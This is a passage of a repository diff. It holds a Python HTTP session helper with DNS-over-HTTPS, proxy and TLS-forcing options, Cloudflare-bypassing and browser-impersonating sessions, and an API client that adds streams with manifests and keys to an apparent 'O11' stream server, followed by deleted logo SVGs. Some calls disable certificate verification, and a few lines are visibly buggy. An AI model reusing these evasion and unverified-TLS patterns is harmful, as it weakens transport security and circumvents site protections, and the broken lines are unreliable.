'content-type': 'application/dns-message',
|
||||
}
|
||||
|
||||
q = message.make_query(host, rdatatype.A)
|
||||
response = requests.post(self.url, data=q.to_wire(), headers=headers)
|
||||
try:
|
||||
return message.from_wire(response.content).answer[0].to_rdataset()[0].to_text()
|
||||
except:
|
||||
return host
|
||||
else:
|
||||
if ':' in self.url:
|
||||
url = self.url.split(':')[0]
|
||||
port = self.url.split(':')[1]
|
||||
else:
|
||||
url = self.url
|
||||
port = 53
|
||||
|
||||
my_resolver = resolver.Resolver()
|
||||
my_resolver.nameservers = [url]
|
||||
my_resolver.port = int(port)
|
||||
result = resolver.query(host)
|
||||
return str(my_resolver.query(host)[0])
|
||||
|
||||
def patched_create_connection(self, address, *args, **kwargs):
|
||||
host, port = address
|
||||
hostname = self.resolve_dns(host)
|
||||
return self._orig_create_connection((hostname, port), *args, **kwargs)
|
||||
|
||||
class Custom_Adapter(HTTPAdapter):
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.worker = kwargs.pop('worker', None)
|
||||
super().__init__(*args, **kwargs)
|
||||
|
||||
def init_poolmanager(self, connections, maxsize, block=False, ssl_version=None, source_address=(), socket_options=[]):
|
||||
if ssl_version:
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2
|
||||
ssl_context.maximum_version = ssl.TLSVersion.TLSv1_2
|
||||
ssl_context.options = ssl.PROTOCOL_TLS & ssl.OP_NO_TLSv1_3
|
||||
self.poolmanager = PoolManager(num_pools=connections,
|
||||
maxsize=maxsize,
|
||||
block=block,
|
||||
source_address=source_address,
|
||||
socket_options=socket_options,
|
||||
ssl_context=ssl_context)
|
||||
else:
|
||||
self.poolmanager = PoolManager(num_pools=connections,
|
||||
maxsize=maxsize,
|
||||
block=block,
|
||||
source_address=source_address,
|
||||
socket_options=socket_options)
|
||||
|
||||
def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None):
|
||||
parsed = parse_url(request.url)
|
||||
if self.worker and parsed.scheme in ('http', 'https'):
|
||||
request.headers['original-host'] = parsed.host
|
||||
if parsed.query:
|
||||
new_url = f"{parsed.scheme}://{self.worker}{parsed.path}?{parsed.query}"
|
||||
else:
|
||||
new_url = f"{parsed.scheme}://{self.worker}{parsed.path}"
|
||||
request.url = new_url
|
||||
return super().send(request, stream, timeout, verify, cert, proxies)
|
||||
|
||||
class session1:
|
||||
def __init__(self, bind="", proxy="", worker="", force_tls1_2=False, cloud=False):
|
||||
if cloud:
|
||||
self.session = cloudscraper.create_scraper()
|
||||
else:
|
||||
self.session = requests.Session()
|
||||
|
||||
if proxy != "":
|
||||
self.session.proxies = { "http": proxy, "https": proxy }
|
||||
|
||||
if cloud:
|
||||
return
|
||||
|
||||
self.session.mount('http://', Custom_Adapter(worker=worker))
|
||||
self.session.mount('https://', Custom_Adapter(worker=worker))
|
||||
|
||||
if bind != "":
|
||||
if "." not in bind:
|
||||
socket_options = [(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, bind.encode())]
|
||||
source_address = ("", 0)
|
||||
else:
|
||||
socket_options = []
|
||||
source_address = (bind, 0)
|
||||
else:
|
||||
source_address = ("", 0)
|
||||
socket_options = []
|
||||
if force_tls1_2:
|
||||
ssl_version = ssl.PROTOCOL_TLSv1_2
|
||||
else:
|
||||
ssl_version = None
|
||||
|
||||
self.session.get_adapter('http://').init_poolmanager(
|
||||
connections=requests.adapters.DEFAULT_POOLSIZE,
|
||||
maxsize=requests.adapters.DEFAULT_POOLSIZE,
|
||||
source_address=source_address,
|
||||
socket_options=socket_options
|
||||
)
|
||||
self.session.get_adapter('https://').init_poolmanager(
|
||||
connections=requests.adapters.DEFAULT_POOLSIZE,
|
||||
maxsize=requests.adapters.DEFAULT_POOLSIZE,
|
||||
source_address=source_address,
|
||||
socket_options=socket_options,
|
||||
ssl_version=ssl_version
|
||||
)
|
||||
|
||||
def get_session(self):
|
||||
return self.session
|
||||
|
||||
class Cookies:
|
||||
def __init__(self, cookie_string):
|
||||
self.cookies = self._parse_cookies(cookie_string)
|
||||
|
||||
def _parse_cookies(self, cookie_header):
|
||||
cookies = {}
|
||||
if cookie_header:
|
||||
simple_cookie = SimpleCookie(cookie_header)
|
||||
for key, morsel in simple_cookie.items():
|
||||
cookies[key] = morsel.value
|
||||
return cookies
|
||||
|
||||
def get_dict(self):
|
||||
return self.cookies
|
||||
|
||||
def clear(self):
|
||||
self.cookies.clear()
|
||||
|
||||
def update(self, new_cookies):
|
||||
if isinstance(new_cookies, str):
|
||||
# Parse the cookie string and update existing cookies
|
||||
new_cookie_dict = self._parse_cookies(new_cookies)
|
||||
self.cookies.update(new_cookie_dict)
|
||||
elif isinstance(new_cookies, dict):
|
||||
# If it's already a dictionary, just update the existing cookies
|
||||
self.cookies.update(new_cookies)
|
||||
else:
|
||||
raise ValueError("new_cookies must be either a string or a dictionary.")
|
||||
|
||||
class HttpResponse:
|
||||
def __init__(self, response):
|
||||
self.status = response.status
|
||||
self.headers = dict(response.getheaders())
|
||||
self._body = response.read()
|
||||
for key, value in self.headers.items():
|
||||
if key.lower() == 'content-encoding' and value.lower() == 'gzip':
|
||||
compressed_data = self._body
|
||||
with gzip.GzipFile(fileobj=BytesIO(compressed_data), mode='rb') as f:
|
||||
self._body = f.read()
|
||||
|
||||
self.cookies = Cookies(self.headers.get('Set-Cookie', ''))
|
||||
|
||||
@property
|
||||
def content(self):
|
||||
"""Returns the raw response content (bytes)."""
|
||||
return self._body
|
||||
|
||||
@property
|
||||
def text(self):
|
||||
"""Returns the response content as a string (decoded)."""
|
||||
try:
|
||||
return self._body.decode("utf-8")
|
||||
except:
|
||||
return self._body
|
||||
|
||||
@property
|
||||
def status_code(self):
|
||||
"""Returns the response status code."""
|
||||
return self.status
|
||||
|
||||
def json(self):
|
||||
"""Returns the response content as a parsed JSON object."""
|
||||
try:
|
||||
return json.loads(self.text)
|
||||
except json.JSONDecodeError:
|
||||
raise ValueError("Response content is not valid JSON")
|
||||
|
||||
def resolve_dns(hostname, dns_server, ipv6):
|
||||
r = resolver.Resolver()
|
||||
r.nameservers = [dns_server]
|
||||
|
||||
reso = 'A'
|
||||
if ipv6:
|
||||
reso = 'AAAA'
|
||||
answer = r.query(hostname, reso)
|
||||
ip_address = answer[0].address
|
||||
|
||||
return ip_address
|
||||
|
||||
class session_http_client:
|
||||
def __init__(self, bind="", proxy="", doh="", dns="", worker="", force_tls1_2=False, force_tls1_3=False, ciphers=None, max_redirects=5, ipv6=False):
|
||||
self.bind = bind
|
||||
self.proxy = proxy
|
||||
self.proxy_username = None
|
||||
self.proxy_password = None
|
||||
self.doh = doh
|
||||
self.dns = dns
|
||||
self.worker = worker
|
||||
self.force_tls1_2 = force_tls1_2
|
||||
self.force_tls1_3 = force_tls1_3
|
||||
self.max_redirects = max_redirects # Maximum number of redirects
|
||||
self.cookies = {}
|
||||
self.ciphers = ciphers
|
||||
self.ipv6 = ipv6
|
||||
|
||||
if self.proxy:
|
||||
proxy_parsed = urllib.parse.urlparse(proxy)
|
||||
if proxy_parsed.username and proxy_parsed.password:
|
||||
self.proxy_username = proxy_parsed.username
|
||||
self.proxy_password = proxy_parsed.password
|
||||
self.proxy_host = proxy_parsed.hostname
|
||||
self.proxy_port = proxy_parsed.port or 80
|
||||
|
||||
def get_session(self):
|
||||
return self
|
||||
|
||||
def _create_connection(self, host, port, ssl_context, ipv6):
|
||||
if ipv6:
|
||||
print("Using IPV6", file=sys.stderr)
|
||||
af = socket.AF_INET6
|
||||
else:
|
||||
af = socket.AF_INET
|
||||
|
||||
# Create a socket object
|
||||
if self.proxy.startswith('socks'):
|
||||
sock = socks.socksocket(af, socket.SOCK_STREAM)
|
||||
sock.set_proxy(socks.SOCKS5, self.proxy_host, self.proxy_port, username=self.proxy_username, password=self.proxy_password)
|
||||
else:
|
||||
sock = socket.socket(af, socket.SOCK_STREAM)
|
||||
if ssl_context:
|
||||
sock = ssl_context.wrap_socket(sock, server_hostname=host)
|
||||
|
||||
# If bind address is specified, create a socket with the bind address
|
||||
if self.bind:
|
||||
if "." in self.bind: # IP address bind
|
||||
sock.bind((self.bind, 0)) # Bind to the specified IP address (port 0 to let OS choose)
|
||||
else: # Interface bind (e.g., "eth0")
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, self.bind.encode())
|
||||
|
||||
# Connect to the host
|
||||
if self.doh and self.doh.startswith('http'):
|
||||
headers = {
|
||||
'accept': 'application/dns-message',
|
||||
'content-type': 'application/dns-message',
|
||||
}
|
||||
|
||||
q = message.make_query(host, rdatatype.A)
|
||||
response = requests.post(self.doh, data=q.to_wire(), headers=headers)
|
||||
try:
|
||||
host = message.from_wire(response.content).answer[0].to_rdataset()[0].to_text()
|
||||
print("DOH: resolved ip to", host, file=sys.stderr)
|
||||
except:
|
||||
print("DOH failed")
|
||||
sys.exit(1)
|
||||
elif self.dns:
|
||||
host = resolve_dns(host, self.dns, self.ipv6)
|
||||
print("DNS: resolved ip to", host, file=sys.stderr)
|
||||
|
||||
sock.connect((host, port))
|
||||
|
||||
if ssl_context and self.proxy.startswith('socks'):
|
||||
sock = ssl_context.wrap_socket(sock, server_hostname=host)
|
||||
|
||||
return sock
|
||||
|
||||
def request(self, method, url, params=None, body=None, headers={}, allow_redirects=True, verify=True, cookies=None):
|
||||
if cookies:
|
||||
self.cookies.update(cookies)
|
||||
|
||||
if params:
|
||||
if '?' in url:
|
||||
url += "&" + urllib.parse.urlencode(params)
|
||||
else:
|
||||
url += "?" + urllib.parse.urlencode(params)
|
||||
parsed_url = urllib.parse.urlparse(url)
|
||||
|
||||
# Create a connection to the host or proxy if specified
|
||||
context = None
|
||||
if parsed_url.scheme == "https":
|
||||
context = ssl.create_default_context()
|
||||
if not verify:
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
if self.force_tls1_2:
|
||||
context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_3
|
||||
if self.force_tls1_3:
|
||||
context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1_2
|
||||
if self.ciphers:
|
||||
#print("setting ciphers: " + self.ciphers, file=sys.stderr)
|
||||
context.set_ciphers(self.ciphers)
|
||||
|
||||
connection = None
|
||||
redirects = 0
|
||||
current_url = url
|
||||
|
||||
if isinstance(body, dict):
|
||||
converted = False
|
||||
for key, value in headers.items():
|
||||
if key.lower() == 'content-type':
|
||||
if 'x-www-form-urlencoded' in value:
|
||||
body = urllib.parse.urlencode(body, quote_via=urllib.parse.quote)
|
||||
converted = True
|
||||
elif 'application/json' in value:
|
||||
body = json.dumps(body)
|
||||
converted = True
|
||||
if not converted:
|
||||
headers['content-type'] = 'application/x-www-form-urlencoded'
|
||||
body = urllib.parse.urlencode(body, quote_via=urllib.parse.quote)
|
||||
|
||||
while redirects <= self.max_redirects:
|
||||
host = parsed_url.hostname
|
||||
port = parsed_url.port or (443 if parsed_url.scheme == "https" else 80)
|
||||
path = parsed_url.path
|
||||
if parsed_url.query:
|
||||
path += '?' + parsed_url.query
|
||||
|
||||
if self.worker and parsed_url.scheme in ('http', 'https'):
|
||||
headers['original-host'] = parsed.host
|
||||
host = self.worker
|
||||
|
||||
if self.proxy and self.proxy.startswith('http'):
|
||||
real_host = host
|
||||
host = self.proxy_host
|
||||
port = self.proxy_port
|
||||
|
||||
if parsed_url.scheme == "https":
|
||||
connection = http.client.HTTPSConnection(host, port, context=context)
|
||||
else:
|
||||
connection = http.client.HTTPConnection(host, port)
|
||||
|
||||
if self.proxy and self.proxy.startswith('http'):
|
||||
if self.proxy_username and self.proxy_password:
|
||||
auth = base64.b64encode(f"{self.proxy_username}:{self.proxy_password}".encode()).decode()
|
||||
connection.set_tunnel(real_host, headers={'Proxy-Authorization': 'Basic ' + auth})
|
||||
else:
|
||||
connection.set_tunnel(real_host)
|
||||
|
||||
if not self.proxy or self.proxy.startswith('socks'):
|
||||
connection.sock = self._create_connection(host, port, context, self.ipv6)
|
||||
|
||||
if self.cookies and self.cookies != {}:
|
||||
headers['cookie'] = "; ".join([f"{key}={value}" for key, value in self.cookies.items()])
|
||||
|
||||
connection.request(method, path, body=body, headers=headers)
|
||||
#if connection.sock:
|
||||
# print("selected ciphers: ", connection.sock.cipher(), file=sys.stderr)
|
||||
response = connection.getresponse()
|
||||
response = HttpResponse(response)
|
||||
|
||||
self.cookies.update(response.cookies.get_dict())
|
||||
|
||||
if not allow_redirects:
|
||||
break
|
||||
|
||||
# Check for redirects (HTTP 3xx status codes)
|
||||
if response.status_code in (301, 302, 303, 307, 308):
|
||||
if 'location' in response.headers or 'Location' in response.headers:
|
||||
if 'location' in response.headers:
|
||||
location = response.headers['location']
|
||||
else:
|
||||
location = response.headers['Location']
|
||||
current_url = urllib.parse.urljoin(current_url, location)
|
||||
parsed_url = urllib.parse.urlparse(current_url) # Reparse the new URL
|
||||
redirects += 1
|
||||
print(f"redirect to {location}", file=sys.stderr)
|
||||
continue # If a redirect, follow it
|
||||
|
||||
# If no redirect, break the loop and return the response
|
||||
break
|
||||
|
||||
return response
|
||||
|
||||
def get(self, url, headers={}, params=None, allow_redirects=True, verify=True, cookies=None):
|
||||
headers = { k.lower(): v for k, v in headers.items() }
|
||||
return self.request("GET", url, params=params, headers=headers, allow_redirects=allow_redirects, verify=verify, cookies=cookies)
|
||||
|
||||
def post(self, url, params=None, data=None, json=None, headers={}, allow_redirects=True, verify=True, cookies=None):
|
||||
headers = { k.lower(): v for k, v in headers.items() }
|
||||
if json:
|
||||
data = json
|
||||
headers['content-type'] = 'application/json;charset=UTF-8'
|
||||
return self.request("POST", url, params=params, body=data, headers=headers, allow_redirects=allow_redirects, verify=verify, cookies=cookies)
|
||||
|
||||
def put(self, url, params=None, data=None, json=None, headers={}, allow_redirects=True, verify=True, cookies=None):
|
||||
headers = { k.lower(): v for k, v in headers.items() }
|
||||
if json:
|
||||
data = json
|
||||
headers['content-type'] = 'application/json;charset=UTF-8'
|
||||
return self.request("PUT", url, params=params, body=data, headers=headers, allow_redirects=allow_redirects, verify=verify, cookies=cookies)
|
||||
|
||||
def delete(self, url, params=None, headers={}, allow_redirects=True, verify=True, cookies=None):
|
||||
headers = { k.lower(): v for k, v in headers.items() }
|
||||
return self.request("DELETE", url, params=params, headers=headers, allow_redirects=allow_redirects, verify=verify, cookies=cookies)
|
||||
|
||||
class session_curl_cffi:
|
||||
def __init__(self, bind="", proxy="", worker="", doh="", dns="", impersonate="", force_tls1_2=False, force_tls1_3=False, ciphers=None, ipv6=False, verbose=False):
|
||||
if doh != "":
|
||||
print("DOH not supported with curl_cffi")
|
||||
sys.exit(1)
|
||||
if dns != "":
|
||||
print("DNS not supported with curl_cffi")
|
||||
sys.exit(1)
|
||||
if worker != "":
|
||||
print("Worker not supported with curl_cffi")
|
||||
sys.exit(1)
|
||||
|
||||
if force_tls1_2:
|
||||
curl_options = { CurlOpt.SSLVERSION: CurlSslVersion.TLSv1_2 }
|
||||
elif force_tls1_3:
|
||||
curl_options = { CurlOpt.SSLVERSION: CurlSslVersion.TLSv1_3 }
|
||||
else:
|
||||
curl_options = {}
|
||||
|
||||
if verbose:
|
||||
curl_options[CurlOpt.VERBOSE] = True
|
||||
|
||||
self._session = cffi_requests.Session(interface=bind, impersonate=impersonate, curl_options=curl_options)
|
||||
|
||||
if proxy != "":
|
||||
self._session.proxies = {
|
||||
"http": proxy,
|
||||
"https": proxy
|
||||
}
|
||||
|
||||
def get_session(self):
|
||||
return self._session
|
||||
|
||||
mydns = dns
|
||||
class session:
|
||||
def __init__(self, bind="", proxy="", doh="", dns="", worker="", impersonate="chrome", force_tls1_2=False, force_tls1_3=False, ciphers=None, ipv6=False, alt=False, curl_cffi=False, cloud=False, verbose=False):
|
||||
if curl_cffi:
|
||||
print("Using curl_cffi", file=sys.stderr)
|
||||
s = session_curl_cffi(bind=bind, proxy=proxy, doh=doh, dns=dns, impersonate=impersonate, worker=worker, force_tls1_2=force_tls1_2, force_tls1_3 = force_tls1_3, ciphers=ciphers, ipv6=ipv6, verbose=verbose)
|
||||
self.session = s.get_session()
|
||||
elif alt:
|
||||
print("Using http.client", file=sys.stderr)
|
||||
s = session_http_client(bind=bind, proxy=proxy, doh=doh, dns=dns, worker=worker, force_tls1_2=force_tls1_2, force_tls1_3 = force_tls1_3, ciphers=ciphers, ipv6=ipv6)
|
||||
self.session = s.get_session()
|
||||
else:
|
||||
if cloud:
|
||||
print("Using cloudscraper", file=sys.stderr)
|
||||
if bind != "" or worker != "":
|
||||
print("cannot use bind and/or worker with cloudscraper")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print("Using requests", file=sys.stderr)
|
||||
|
||||
if doh != "":
|
||||
mydns(doh)
|
||||
elif dns != "":
|
||||
mydns(dns)
|
||||
|
||||
s = session1(bind=bind, proxy=proxy, worker=worker, force_tls1_2=force_tls1_2, cloud=cloud)
|
||||
self.session = s.get_session()
|
||||
|
||||
def get_session(self):
|
||||
return self.session
|
||||
|
||||
class api:
|
||||
def __init__(self, url="", user="", password=""):
|
||||
self.url = url
|
||||
self.token = ""
|
||||
|
||||
if user != "" and password != "":
|
||||
json_data = {
|
||||
'Username': user,
|
||||
'Password': password
|
||||
}
|
||||
response = requests.post(url + '/api/login', json=json_data, verify=False)
|
||||
try:
|
||||
self.token = response.json()['Token']
|
||||
except:
|
||||
print("O11 API login failed")
|
||||
sys.exit(1)
|
||||
|
||||
info = self.get_info()
|
||||
if "API error" in info:
|
||||
print("Could not connect to O11 API: " + info)
|
||||
sys.exit(1)
|
||||
|
||||
def get_info(self):
|
||||
headers = {
|
||||
'Authorization': self.token
|
||||
}
|
||||
|
||||
json_data = {
|
||||
'Id': 'local',
|
||||
}
|
||||
|
||||
response = requests.post(self.url + '/api/server/getinfo', headers=headers, json=json_data, verify=False)
|
||||
if response.status_code != 200:
|
||||
return f"API error {response.status_code}"
|
||||
else:
|
||||
return response.text
|
||||
|
||||
def add_stream(self, type="event", provider_id="", name="", id="", autostart=True, start=0, end=0):
|
||||
headers = {
|
||||
'Authorization': self.token
|
||||
}
|
||||
|
||||
json_data = {
|
||||
'ProviderId': provider_id,
|
||||
'StreamName': name,
|
||||
'Stream': {
|
||||
'Type': type,
|
||||
'Name': name,
|
||||
'Id': id,
|
||||
'Autostart': autostart,
|
||||
'Start': start,
|
||||
'End': end
|
||||
},
|
||||
}
|
||||
|
||||
response = requests.post(self.url + '/api/stream/add', headers=headers, json=json_data, verify=False)
|
||||
print(response.text, file=sys.stderr)
|
||||
|
||||
def edit_stream(self, provider_id="", stream_id="", manifest="", keys=[], start=0, end=0):
|
||||
headers = {
|
||||
'Authorization': self.token
|
||||
}
|
||||
|
||||
json_data = {
|
||||
'ProviderId': provider_id,
|
||||
'StreamId': stream_id,
|
||||
'Manifest': manifest,
|
||||
'Keys': keys,
|
||||
'Start': start,
|
||||
'End': end
|
||||
|
||||
}
|
||||
response = requests.post(self.url + '/api/stream/edit', headers=headers, json=json_data, verify=False)
|
||||
print(response.text, file=sys.stderr)
|
||||
|
||||
def delete_stream(self, provider_id="", stream_id=""):
|
||||
headers = {
|
||||
'Authorization': self.token
|
||||
}
|
||||
|
||||
json_data = {
|
||||
'ProviderId': provider_id,
|
||||
'StreamId': stream_id,
|
||||
|
||||
}
|
||||
response = requests.post(self.url + '/api/stream/delete', headers=headers, json=json_data, verify=False)
|
||||
print(response.text, file=sys.stderr)
|
||||
|
||||
def start_stop_stream(self, action="", provider_id="", stream_id=""):
|
||||
headers = {
|
||||
'Authorization': self.token
|
||||
}
|
||||
|
||||
json_data = {
|
||||
'ProviderId': provider_id,
|
||||
'StreamId': stream_id
|
||||
}
|
||||
|
||||
response = requests.post(self.url + '/api/stream/' + action, headers=headers, json=json_data, verify=False)
|
||||
print(response.text, file=sys.stderr)
|
||||
|
||||
def add_job(self, name, cron, description="", script_name="", script_params="" , script_timeout=30):
|
||||
headers = {
|
||||
'Authorization': self.token
|
||||
}
|
||||
json_data = {
|
||||
'Job': {
|
||||
'Enabled': True,
|
||||
'Name': name,
|
||||
'Description': description,
|
||||
'ScriptName': script_name,
|
||||
'ScriptParams': script_params,
|
||||
'ScriptTimeout': script_timeout,
|
||||
'Cron': cron,
|
||||
}
|
||||
}
|
||||
|
||||
response = requests.post(self.url + '/api/job/add', headers=headers, json=json_data, verify=False)
|
||||
print(response.text, file=sys.stderr)
|
||||
|
Before Width: | Height: | Size: 4.7 KiB |
|
Before Width: | Height: | Size: 1.9 KiB |
|
Before Width: | Height: | Size: 578 B |
|
Before Width: | Height: | Size: 833 B |
|
Before Width: | Height: | Size: 8.0 KiB |
@@ -1,34 +0,0 @@
|
||||
<svg viewBox="0 0 395.52 247.2" height="247.2" width="395.52">
|
||||
<g transform="matrix(1,0,0,1,39.55199999999999,65.51351621541207)">
|
||||
<svg viewBox="0 0 316.416 116.17296756917585" height="116.17296756917585"
|
||||
width="316.416">
|
||||
<g>
|
||||
<svg viewBox="0 0 316.416 116.17296756917585" height="116.17296756917585"
|
||||
width="316.416">
|
||||
<g>
|
||||
<svg viewBox="0 0 316.416 116.17296756917585"
|
||||
height="116.17296756917585" width="316.416">
|
||||
<g>
|
||||
<svg viewBox="0 0 316.416 116.17296756917585"
|
||||
height="116.17296756917585" width="316.416">
|
||||
<g id="textblocktransform">
|
||||
<svg viewBox="0 0 316.416 116.17296756917585"
|
||||
height="116.17296756917585" width="316.416"
|
||||
id="textblock">
|
||||
<g>
|
||||
<svg viewBox="0 0 316.416 116.17296756917585"
|
||||
height="116.17296756917585"
|
||||
width="316.416">
|
||||
<g transform="matrix(1,0,0,1,0,0)">
|
||||
<svg width="316.416"
|
||||
viewBox="3.22 -29.59 82.05 30.13"
|
||||
height="116.17296756917585"
|
||||
data-palette-color="#f9cc0b">
|
||||
<path d="M14.99-23.1Q18.33-23.1 21.02-21.58 23.71-20.07 25.23-17.37 26.76-14.67 26.76-11.28L26.76-11.28Q26.76-7.89 25.23-5.19 23.71-2.49 21.02-0.98 18.33 0.54 14.99 0.54L14.99 0.54Q11.65 0.54 8.96-0.98 6.27-2.49 4.75-5.19 3.22-7.89 3.22-11.28L3.22-11.28Q3.22-14.67 4.75-17.37 6.27-20.07 8.96-21.58 11.65-23.1 14.99-23.1L14.99-23.1ZM14.99-19.48Q12.62-19.48 10.83-18.44 9.03-17.41 8.06-15.54 7.08-13.67 7.08-11.28L7.08-11.28Q7.08-8.89 8.06-7.02 9.03-5.15 10.83-4.11 12.62-3.08 14.99-3.08L14.99-3.08Q17.36-3.08 19.15-4.11 20.95-5.15 21.92-7.02 22.9-8.89 22.9-11.28L22.9-11.28Q22.9-13.67 21.92-15.54 20.95-17.41 19.15-18.44 17.36-19.48 14.99-19.48L14.99-19.48ZM53.76-3.32Q54.59-3.32 54.94-2.94 55.3-2.56 55.3-1.66L55.3-1.66Q55.3-0.76 54.94-0.38 54.59 0 53.76 0L53.76 0 37.3 0Q36.47 0 36.12-0.38 35.76-0.76 35.76-1.66L35.76-1.66Q35.76-2.56 36.12-2.94 36.47-3.32 37.3-3.32L37.3-3.32 43.87-3.32 43.87-24.27 37.79-20.48Q37.38-20.24 37.03-20.24L37.03-20.24Q36.25-20.24 35.69-21.24L35.69-21.24Q35.35-21.83 35.35-22.36L35.35-22.36Q35.35-23.19 36.11-23.63L36.11-23.63 45.31-29.3Q45.8-29.59 46.29-29.59L46.29-29.59Q46.82-29.59 47.18-29.24 47.53-28.88 47.53-28.25L47.53-28.25 47.53-3.32 53.76-3.32ZM83.74-3.32Q84.57-3.32 84.92-2.94 85.27-2.56 85.27-1.66L85.27-1.66Q85.27-0.76 84.92-0.38 84.57 0 83.74 0L83.74 0 67.28 0Q66.45 0 66.1-0.38 65.74-0.76 65.74-1.66L65.74-1.66Q65.74-2.56 66.1-2.94 66.45-3.32 67.28-3.32L67.28-3.32 73.85-3.32 73.85-24.27 67.77-20.48Q67.35-20.24 67.01-20.24L67.01-20.24Q66.23-20.24 65.67-21.24L65.67-21.24Q65.33-21.83 65.33-22.36L65.33-22.36Q65.33-23.19 66.08-23.63L66.08-23.63 75.29-29.3Q75.78-29.59 76.26-29.59L76.26-29.59Q76.8-29.59 77.16-29.24 77.51-28.88 77.51-28.25L77.51-28.25 77.51-3.32 83.74-3.32Z"
|
||||
opacity="1"
|
||||
transform="matrix(1,0,0,1,0,0)"
|
||||
fill="#ffffff"
|
||||
class="wordmark-text-0"
|
||||
data-fill-palette-color="primary"
|
||||
id="text-0"></path>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 4.8 KiB |
@@ -1,9 +0,0 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" version="1.1"
|
||||
width="2000" height="1247" viewBox="0 0 2000 1247">
|
||||
<g transform="matrix(1,0,0,1,-1.2121212121212466,0.504858299595071)">
|
||||
<svg viewBox="0 0 396 247" data-background-color="#000000" preserveAspectRatio="xMidYMid meet" height="1247"
|
||||
width="2000" xmlns="http://www.w3.org/2000/svg">
|
||||
<g id="tight-bounds" transform="matrix(1,0,0,1,0.2400000000000091,-0.09999999999999432)">
|
||||
<svg viewBox="0 0 395.52 247.2" height="247.2" width="395.52">
|
||||
<g>
|
||||
<svg></svg>
|
||||
|
Before Width: | Height: | Size: 604 B |
@@ -1,51 +0,0 @@
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="2000.000000pt" height="2000.000000pt" viewBox="0 0 2000.000000 2000.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<metadata>
|
||||
Created by potrace 1.14, written by Peter Selinger 2001-2017
|
||||
</metadata>
|
||||
<g transform="translate(0.000000,2000.000000) scale(0.100000,-0.100000)"
|
||||
fill="#000000" stroke="none">
|
||||
<path d="M18 16233 c-4 -7 -2 -12426 1 -12460 1 -10 2005 -13 9984 -13 l9982
|
||||
0 0 6240 0 6240 -9982 0 c-5490 0 -9983 -3 -9985 -7z m19437 -6223 c1 -3132
|
||||
-1 -5701 -3 -5707 -6 -19 -18898 -19 -18904 0 -3 10 -3 11378 1 11400 0 4
|
||||
4255 6 9453 5 l9453 -3 0 -5695z"/>
|
||||
<path d="M10315 12923 c-45 -11 -107 -47 -495 -286 -223 -138 -417 -257 -432
|
||||
-266 -248 -145 -1012 -626 -1044 -658 -104 -104 -97 -280 17 -448 92 -136 210
|
||||
-182 333 -130 31 13 253 148 446 270 19 13 73 46 120 75 47 30 114 72 150 95
|
||||
36 23 97 61 135 84 60 36 242 150 340 212 17 10 33 19 36 19 3 0 5 -916 5
|
||||
-2035 l1 -2035 -51 0 c-793 0 -1336 -8 -1371 -19 -22 -7 -58 -32 -80 -55 -55
|
||||
-57 -74 -120 -74 -255 0 -129 25 -206 85 -258 71 -62 -8 -60 1839 -59 l1680 1
|
||||
56 26 c107 50 141 129 136 313 -4 136 -23 194 -79 241 -74 62 -41 60 -762 62
|
||||
-363 2 -661 5 -663 6 -1 2 -3 1106 -4 2453 -1 2687 4 2504 -61 2577 -47 53
|
||||
-97 74 -177 75 -36 0 -75 -2 -86 -5z"/>
|
||||
<path d="M16145 12921 c-16 -4 -41 -13 -55 -21 -60 -31 -1786 -1091 -1807
|
||||
-1109 -7 -6 -16 -11 -21 -11 -21 0 -114 -95 -132 -136 -40 -88 -30 -196 30
|
||||
-316 67 -133 161 -209 262 -214 61 -2 131 27 252 105 53 33 99 61 101 61 3 0
|
||||
11 5 18 11 15 12 434 275 462 289 11 5 128 77 259 160 132 83 242 147 245 141
|
||||
7 -11 6 -4049 -1 -4056 -3 -3 -315 -6 -694 -8 -677 -2 -690 -2 -734 -23 -110
|
||||
-52 -146 -133 -143 -325 3 -132 45 -224 121 -263 15 -8 52 -19 82 -24 76 -14
|
||||
3304 -14 3385 -1 69 12 125 40 153 78 68 92 76 329 15 447 -27 53 -85 90 -158
|
||||
103 -36 6 -263 10 -575 10 -283 0 -564 1 -625 1 l-110 0 0 2458 c0 2354 -1
|
||||
2459 -18 2505 -36 93 -118 147 -222 146 -33 -1 -73 -4 -90 -8z"/>
|
||||
<path d="M4060 11659 c-36 -4 -87 -11 -115 -14 -84 -10 -275 -52 -375 -83
|
||||
-388 -121 -734 -343 -990 -635 -45 -51 -84 -96 -88 -102 -72 -97 -98 -134
|
||||
-145 -213 -62 -104 -123 -226 -167 -335 -31 -79 -96 -288 -105 -340 -4 -17
|
||||
-10 -50 -15 -72 -4 -22 -11 -62 -15 -90 -3 -27 -8 -57 -10 -65 -8 -32 -18
|
||||
-201 -18 -325 -2 -374 60 -692 194 -998 39 -89 105 -216 138 -267 9 -14 21
|
||||
-32 26 -41 154 -246 368 -463 626 -634 96 -64 358 -203 393 -209 6 -1 43 -14
|
||||
81 -29 107 -40 270 -83 395 -103 14 -2 39 -6 55 -9 17 -2 53 -7 80 -10 28 -3
|
||||
66 -8 85 -10 41 -5 380 -5 426 0 99 10 152 16 174 20 14 3 39 7 55 10 374 61
|
||||
754 233 1047 473 141 116 249 229 355 372 61 84 84 119 130 195 47 78 158 318
|
||||
187 406 55 162 76 249 101 414 41 262 38 648 -5 845 -5 25 -12 61 -15 80 -33
|
||||
213 -156 521 -303 758 -231 372 -599 679 -1016 846 -214 87 -347 120 -636 162
|
||||
-68 9 -456 12 -530 3z m425 -703 c78 -8 97 -11 174 -25 82 -16 233 -60 245
|
||||
-72 6 -5 16 -9 24 -9 24 0 192 -88 282 -148 105 -70 279 -242 347 -342 194
|
||||
-290 287 -610 287 -995 0 -92 -10 -246 -18 -291 -4 -20 -19 -105 -21 -114 -12
|
||||
